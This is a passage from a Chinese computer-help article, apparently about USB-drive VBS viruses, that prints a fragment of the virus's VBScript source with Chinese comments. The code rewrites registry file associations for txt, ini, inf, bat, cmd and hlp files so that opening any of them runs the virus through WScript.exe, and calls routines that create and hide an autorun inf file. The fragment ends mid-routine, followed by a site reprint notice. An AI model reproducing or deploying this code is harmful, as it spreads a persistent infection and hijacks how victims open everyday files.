u盘中了vbs病毒怎么办_u盘vbs病毒杀不干净_vbs病毒(9)

Call KillImmunity(D)

Call CreateFile(StrInf, InfPath)

Call SetHiddenAttr(InfPath)

End If

End Sub

Sub SetTxtFileAss(sFilePath)'改变txt格式文件关联

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' %1 %* '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SetIniFileAss(sFilePath)'改变ini格式文件关联

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' %1 %* '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SetInfFileAss(sFilePath)'改变inf格式文件关联

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' %1 %* '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SetBatFileAss(sFilePath)'改变bat格式文件关联

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' %1 %* '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SetCmdFileAss(sFilePath)'改变cmd格式文件关联

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' %1 %* '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SethlpFileAss(sFilePath)'改变hlp格式文件关联

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25802-9.html